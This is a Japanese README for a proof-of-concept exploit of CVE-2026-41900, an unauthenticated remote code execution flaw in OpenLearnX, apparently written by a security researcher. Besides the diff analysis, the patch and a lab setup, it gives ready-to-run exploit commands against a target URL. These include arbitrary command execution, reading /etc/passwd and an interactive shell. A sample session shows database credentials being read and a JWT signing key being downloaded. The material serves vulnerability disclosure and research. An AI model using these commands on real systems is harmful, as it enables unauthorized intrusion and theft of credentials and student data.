
CVE-2026-41900の概念実証エクスプロイト。OpenLearnXにおけるコンテナボリュームマウントを介した未認証のリモートコード実行であり、/tmpの開示とコマンド実行を可能にします。
| プロパティ | 値 |
|---|
| 名前 | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| タイプ | 認証不要の情報開示 / RCE |
| 影響を受けるバージョン | OpenLearnX < コミット 14765d7 |
| 修正バージョン | コミット 14765d7 (real_compiler_service) |
| CVSS | 8.6 (高) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC(私の自動パッチインテリジェンスパイプライン)が、OpenLearnX に関するサイレントアドバイザリ — 技術的詳細が一切記載されずに公開された GHSA-8h25-q488-4hxw — をフラグしました。修正コミット(14765d7)を取得し、その親コミット(d19c4e4)と差分を比較しました。
その差分がすべてを物語っていました。backend/routes/coding.py の execute_in_container() は大幅に削減され、堅牢化された real_compiler_service に置き換えられていました。旧コードはユーザー指定のコードを一時ファイルに書き込み、その後 os.path.dirname(temp_file) — これは /tmp に解決されます — を兄弟Dockerコンテナに読み取り専用ボリュームとしてマウントしていました。user= も、cap_drop も、security_opt もありません。デフォルトで root です。
決定的だったのは、/api/compiler/execute の compiler ブループリントに認証デコレータがないことです。認証されていない任意のリクエストが、脆弱なコンテナ設定を通じてコード実行をトリガーできます。
私はローカルラボでパッチ適用前のコードを分離し、すべてのベクターを確認し、このPoCを作成しました。
POST /api/compiler/execute (認証なし)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ /tmp に解決 → /tmp 全体がコンテナにマウントされる
│
├─ user= なし → root (UID 0) として実行
├─ cap_drop なし → デフォルトのDockerケーパビリティ
├─ security_opt なし → デフォルトのseccompプロファイル
│
└─ 攻撃者が読み取り可能: シークレット、認証情報、JWTキー、他のユーザーの提出物
| ガジェット | 深刻度 | CWE | 説明 |
|---|---|---|---|
listing | 高 | CWE-538 | ボリュームマウント経由の /tmp のディレクトリリスト |
secrets | 重大 | CWE-538 | /tmp から認証情報、キー、設定を読み取る |
submissions | 高 | CWE-538 | 他の学生のコード提出物を読み取る |
rootcheck | 中 | CWE-250 | UID 0 (root) 実行の確認 |
caps | 中 | CWE-250 | 有効なLinuxケーパビリティをダンプする |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# 依存関係なし — 標準ライブラリのみ
chmod +x exploit.py
# ターゲットが脆弱かどうかを確認
python3 exploit.py --check http://target:5000
# すべてのガジェットを実行 + 証拠JSONを生成
python3 exploit.py --exploit http://target:5000
# 単一コマンドを実行
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# 対話型シェルに入る
python3 exploit.py --shell http://target:5000
# 特定のガジェットを実行
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
--shell に入ると、疑似対話型シェルが得られます。各コマンドは新しい一時コンテナを起動します。
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] jwt_signing_key.pem をダウンロードしました (235B)
root@container:/app# exit
ローカルで再現するには:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
このラボは、パッチ適用前の execute_in_container() を再現するコンテナ化されたFlaskアプリをデプロイします:
/tmpコミット 14765d7 は execute_in_container() を real_compiler_service に置き換え、以下を適用します:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # 実行ごとに分離されたtmpdir
cap_drop=["ALL"], # すべてのケーパビリティをドロップ
security_opt=["no-new-privileges:true"], # 権限昇格を防止
user="65534:65534", # nobody、rootではない
...
)
| 日付 | イベント |
|---|---|
| 2026-04 | OSDC がサイレントアドバイザリ GHSA-8h25-q488-4hxw をフラグ |
| 2026-04 | コミット 14765d7 と親 d19c4e4 の差分分析 |
| 2026-05 | ラボでの再現とPoC開発 |
| 2026-05-06 | 完全なPoC確認 — 全5ベクターを検証 |
このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。所有している、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。
Christbowel · christbowel.com · Balgo Security Team